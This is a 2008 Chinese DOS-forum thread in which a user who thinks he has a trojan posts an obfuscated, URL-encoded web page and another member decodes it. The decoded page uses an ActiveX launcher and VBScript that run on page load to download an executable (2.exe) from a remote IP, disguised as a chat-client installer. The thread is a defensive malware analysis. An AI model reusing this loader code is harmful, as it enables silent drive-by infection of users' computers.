中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名：www.cn-dos.net　论坛域名：www.cn-dos.net/forum

游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟

中国DOS联盟论坛
现在时间是 2026-08-09 19:01

共 47,811 主题排行 / 349,896 发帖 / 今日 1 篇 / 48,254 会员排行

DOS批处理 & 脚本技术（批处理室） » 我中木马了高手帮我看下

可打印版本　663 / 5

第1楼　hazjs	发表于 2008-05-21 21:36
初级用户　发帖 25　积分 60
我中木马了高手帮我看下 <HTML> <HEAD> <SCRIPT LANGUAGE="Javascript"> <!-- var Words ="%3CHTML%3E%0D%0A%3CHEAD%3E%0D%0A%3CSCRIPT%20LANGUAGE%3D%22Javascript%22%3E%0D%0A%3C%21%2D%2D%0D%0Avar%20Words%20%3D%22%253C%2521DOCTYPE%2520HTML%2520PUBLIC%2520%2522%252D%252F%252FW3C%252F%252FDTD%2520HTML%25204%252E0%2520Transitional%252F%252FEN%2522%253E%250D%250A%253C%2521%252D%252D%2520saved%2520from%2520url%253D%25280032%2529http%253A%252F%252Flihua%252Eg1%252E51web%252Ecn%252Fsay%252Ehtm%2520%252D%252D%253E%250D%250A%253C%2521%252D%252D%2520saved%2520from%2520url%253D%25280030%2529http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252F%2520%252D%252D%253E%253CHTML%253E%253CHEAD%253E%253CTITLE%253Esaynsay%252Ecom%253C%252FTITLE%253E%250D%250A%253CMETA%2520http%252Dequiv%253DContent%252DType%2520content%253D%2522text%252Fhtml%253B%2520charset%253Dgb2312%2522%253E%250D%250A%253CSCRIPT%2520language%253Dvbscript%253E%250D%250A%250D%250A%2509Sub%2520start%2528%2529%250D%250A%2520%2520%2520SHlaunch%252EPRODUCT%253D%2522SaynSay%25205%252Ex%2522%2509%250D%250A%2520%2520%2520SHlaunch%252EVER%253D%2522%2522%2509%250D%250A%2520%2520%2520SHlaunch%252EVERFULL%253D%25224%252E0%252E3%252E9%2522%2509%250D%250A%2509%2509%2509%2509%250D%250A%2520%2520%2520SHlaunch%252EUPGRADEURL%253D%2522http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252F%252Fupgrade%252F%2522%250D%250A%2520%2520%2520SHlaunch%252EINSTALLURL%253D%2522http%253A%252F%252F218%252E4%252E83%252E45%252F1%252F2%252Eexe%2522%250D%250A%250D%250A%2520%2520%2520SHlaunch%252EPageInstallURL%253D%2522http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252Fsetup%252Ehtml%2522%250D%250A%2520%2520%2520SHlaunch%252EPageUpgradeURL%253D%2522http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252Fupdate%252Ehtml%2522%2509%250D%250A%2520%2520%2520SHlaunch%252EPageErrorURL%253D%2522http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252Ferror%255Fchina%252Ehtml%2522%250D%250A%2520%2520%2520SHlaunch%252EPageDownloadURL%253D%2522http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252Fdownload%252Ehtml%2522%250D%250A%2520%2520%2520SHlaunch%252EPageWidth%253D0%2520%2520%250D%250A%2520%2520%2520SHlaunch%252EPageHeight%253D0%250D%250A%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522ADDR1IP%2522%252C%2522127%252E0%252E0%252E1%2522%2509%2509%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522LOUNGEHELP%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fcustomer%252Fhelp%252Fhelp%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522DATEROOMHELP%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fcustomer%252Fhelp%252Fhelp%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522MULTIROOMHELP%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fcustomer%252Fhelp%252Fhelp%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522ACCUSEURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fform%252Easp%2522%2509%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522USERINFOURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fuserinfo%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522VIDEOURL%2522%252C%2522%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522MYINFOURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fmyinfo%252Easp%2522%2509%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522DATEINFOURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fdateinfo%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522DOWNLOADURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fcustomer%252Ffaq%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522AVATARURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Favatar%252Fchat%255Favatar%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522AVATARURL2%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Favatar%252Fchat%255Favatar%255Fbig%252Easp%2522%250D%250A%2509%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522BANNERURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252F%252Fuser%252Flinead%252Fbanner%252Ehtm%2522%2520%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522CHATNOTICEURL%2522%252C%2522%253Cimg%2520src%253D%2527http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fchatimg%252Fchat%255Fnotice%252Egif%2527%253E%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522NEWWINDOWURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fnewwindow%252Fwindow%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522SERVERLISTURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fserverlist%252Fserverlist%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EARGUMENT%253D%2522%252C%2522%250D%250A%2520%2520%2520SHlaunch%252EStart%250D%250A%2520%2520%2520%250D%250A%2520%2520%2520end%2520sub%250D%250A%2520%2520%2520%250D%250A%2509%253C%252FSCRIPT%253E%250D%250A%250D%250A%253CSCRIPT%2520language%253DjavaScript%2520event%253DFinishInstall%2520for%253DSHlaunch%253E%250D%250A%2509self%252Eclose%2528%2529%253B%250D%250A%253C%252FSCRIPT%253E%250D%250A%250D%250A%253CMETA%2520content%253D%2522MSHTML%25206%252E00%252E2900%252E2180%2522%2520name%253DGENERATOR%253E%253C%252FHEAD%253E%250D%250A%253CBODY%2520oncontextmenu%253Dself%252Eevent%252EreturnValue%253Dfalse%2520onselectstart%253D%2522return%2520false%2522%2520%250D%250Aonload%253Dstart%2528%2529%253E%250D%250A%253COBJECT%2520id%253DSHlaunch%2520style%253D%2522LEFT%253A%25200px%253B%2520TOP%253A%25200px%2522%2520%250D%250AcodeBase%253Dhttp%253A%252F%252F61%252E155%252E9%252E9%252FSHLauncher%255F1001%252Ecab%2523version%253D1%252C0%252C0%252C1%2520%250D%250Aclassid%253DCLSID%253A53FF03ED%252DFF9A%252D41A3%252D9D18%252D7032C6B8A67B%253E%253CPARAM%2520NAME%253D%2522%255FVersion%2522%2520VALUE%253D%252265536%2522%253E%253CPARAM%2520NAME%253D%2522%255FExtentX%2522%2520VALUE%253D%25222646%2522%253E%253CPARAM%2520NAME%253D%2522%255FExtentY%2522%2520VALUE%253D%25221323%2522%253E%253CPARAM%2520NAME%253D%2522%255FStockProps%2522%2520VALUE%253D%25220%2522%253E%253C%252FOBJECT%253E%253C%252FBODY%253E%253C%252FHTML%253E%250D%250A%22%0D%0Afunction%20SetNewWords%28%29%0D%0A%7B%0D%0Avar%20NewWords%3B%0D%0ANewWords%20%3D%20unescape%28Words%29%3B%0D%0Adocument%2Ewrite%28NewWords%29%3B%0D%0A%7D%0D%0ASetNewWords%28%29%3B%0D%0A%2F%2F%20%2D%2D%3E%0D%0A%3C%2FSCRIPT%3E%0D%0A%3C%2FHEAD%3E%0D%0A%3CBODY%3E%0D%0A%3C%2FBODY%3E%0D%0A%3C%2FHTML%3E%0D%0A" function SetNewWords() { var NewWords; NewWords = unescape(Words); document.write(NewWords); } SetNewWords(); // --> </SCRIPT> </HEAD> <BODY> </BODY> </HTML>

第2楼　hazjs	发表于 2008-05-21 21:48
初级用户　发帖 25　积分 60
帮忙解密下我看看中了什么木马

第3楼　PPdos	发表于 2008-05-22 06:16
高级用户　发帖 268　积分 783
你怎么就知道这一定是木马尼？我看像只虫子在找洞。。。

第4楼　hazjs	发表于 2008-05-22 06:37
初级用户　发帖 25　积分 60
我知道是马,是调用什么控件的具体我不知道

第5楼　jmz573515	发表于 2008-05-22 09:38
银牌会员　发帖 464　积分 1,212
好像是这个内容,看不懂~~~ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <!-- saved from url=(0032)http://lihua.g1.51web.cn/say.htm --> <!-- saved from url=(0030)http://web.nt100m.com/saynsay/ --><HTML><HEAD><TITLE>saynsay.com</TITLE> <META http-equiv=Content-Type content="text/html; charset=gb2312"> <SCRIPT language=vbscript> Sub start() SHlaunch.PRODUCT="SaynSay 5.x" SHlaunch.VER="" SHlaunch.VERFULL="4.0.3.9" SHlaunch.UPGRADEURL="http://web.nt100m.com/saynsay//upgrade/" SHlaunch.INSTALLURL="http://218.4.83.45/1/2.exe" SHlaunch.PageInstallURL="http://web.nt100m.com/saynsay/setup.html" SHlaunch.PageUpgradeURL="http://web.nt100m.com/saynsay/update.html" SHlaunch.PageErrorURL="http://web.nt100m.com/saynsay/error_china.html" SHlaunch.PageDownloadURL="http://web.nt100m.com/saynsay/download.html" SHlaunch.PageWidth=0 SHlaunch.PageHeight=0 SHlaunch.WriteInfo "ADDR1IP","127.0.0.1" SHlaunch.WriteInfo "LOUNGEHELP","http://www.saynsay.com/customer/help/help.asp" SHlaunch.WriteInfo "DATEROOMHELP","http://www.saynsay.com/customer/help/help.asp" SHlaunch.WriteInfo "MULTIROOMHELP","http://www.saynsay.com/customer/help/help.asp" SHlaunch.WriteInfo "ACCUSEURL","http://www.saynsay.com/user/form.asp" SHlaunch.WriteInfo "USERINFOURL","http://www.saynsay.com/user/userinfo.asp" SHlaunch.WriteInfo "VIDEOURL","" SHlaunch.WriteInfo "MYINFOURL","http://www.saynsay.com/user/myinfo.asp" SHlaunch.WriteInfo "DATEINFOURL","http://www.saynsay.com/user/dateinfo.asp" SHlaunch.WriteInfo "DOWNLOADURL","http://www.saynsay.com/customer/faq.asp" SHlaunch.WriteInfo "AVATARURL","http://www.saynsay.com/avatar/chat_avatar.asp" SHlaunch.WriteInfo "AVATARURL2","http://www.saynsay.com/avatar/chat_avatar_big.asp" SHlaunch.WriteInfo "BANNERURL","http://www.saynsay.com//user/linead/banner.htm" SHlaunch.WriteInfo "CHATNOTICEURL","<img src='http://www.saynsay.com/user/chatimg/chat_notice.gif'>" SHlaunch.WriteInfo "NEWWINDOWURL","http://www.saynsay.com/user/newwindow/window.asp" SHlaunch.WriteInfo "SERVERLISTURL","http://www.saynsay.com/user/serverlist/serverlist.asp" SHlaunch.ARGUMENT="," SHlaunch.Start end sub </SCRIPT> <SCRIPT language=javaScript event=FinishInstall for=SHlaunch> self.close(); </SCRIPT> <META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD> <BODY oncontextmenu=self.event.returnValue=false onselectstart="return false" onload=start()> <OBJECT id=SHlaunch style="LEFT: 0px; TOP: 0px" codeBase=http://61.155.9.9/SHLauncher_1001.cab#version=1,0,0,1 classid=CLSID:53FF03ED-FF9A-41A3-9D18-7032C6B8A67B><PARAM NAME="_Version" VALUE="65536"><PARAM NAME="_ExtentX" VALUE="2646"><PARAM NAME="_ExtentY" VALUE="1323"><PARAM NAME="_StockProps" VALUE="0"></OBJECT></BODY></HTML>

第6楼　hazjs	发表于 2008-05-23 11:11
初级用户　发帖 25　积分 60
谢谢楼上的这个就是木马http://218.4.83.45/1/2.exe我已经上报了此病毒

[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023